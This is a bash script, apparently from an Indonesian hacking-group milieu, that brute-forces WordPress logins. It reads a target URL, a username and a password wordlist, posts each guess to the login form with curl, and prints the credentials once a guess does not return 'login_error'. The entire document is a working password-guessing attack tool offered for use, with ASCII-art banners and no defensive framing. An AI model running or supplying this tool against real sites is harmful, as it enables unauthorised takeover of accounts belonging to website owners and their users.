Wordpress Bruteforce Login Bash Version 1.0

#!/bin/bash
# WPBrute (Bash)
# By Zombie-Root
#
# Thanks: Ccocot
# Bahari Trouble Maker - IndoXploit - Suram-Crew
# Jloyal - Berdendang C0de

clear;
echo ' __        ______  ____             _         ';
echo ' \ \      / /  _ \| __ ) _ __ _   _| |_ ___   ';
echo '  \ \ /\ / /| |_) |  _ \| "__| | | | __/ _ \  ';
echo '   \ V  V / |  __/| |_) | |  | |_| | ||  __/_ ';
echo '    \_/\_/  |_|   |____/|_|   \__,_|\__\___(_)';
echo '  Wordpress Bruteforce Login Bash Version 1.0 ';
echo -ne '\n';
echo -n "Input URL  : "; read url
echo -n "Username   : "; read username
echo -n "Wordlist   : "; read wlist

echo Total [$(wc -l < $wlist)] Wordlist

i=0
for passw in $(cat $wlist); do
    i=$[i+1]
    brute=$(curl -i -L --data-urlencode  log=$username --data-urlencode pwd=$passw $url)
    if [[ $brute =~ "login_error" ]];
    then
        clear;
        echo ' __        ______  ____             _         ';
        echo ' \ \      / /  _ \| __ ) _ __ _   _| |_ ___   ';
        echo '  \ \ /\ / /| |_) |  _ \| "__| | | | __/ _ \  ';
        echo '   \ V  V / |  __/| |_) | |  | |_| | ||  __/_ ';
        echo '    \_/\_/  |_|   |____/|_|   \__,_|\__\___(_)';
        echo -ne '\n'
        echo '  Trying ['$i'/'$(wc -l < $wlist)']';
        echo -ne '\n\n'

    else
        clear;
        echo '  _____                     _ _ '
        echo ' |  ___|__  _   _ _ __   __| | |'
        echo ' | |_ / _ \| | | | "_ \ / _` | |'
        echo ' |  _| (_) | |_| | | | | (_| |_|'
        echo ' |_|  \___/ \__,_|_| |_|\__,_(_)'
        echo -ne '\n'
        echo $url;
        echo 'Username : '$username;
        echo 'Password : '$passw;
        echo -ne '\n'
        break;
    fi
done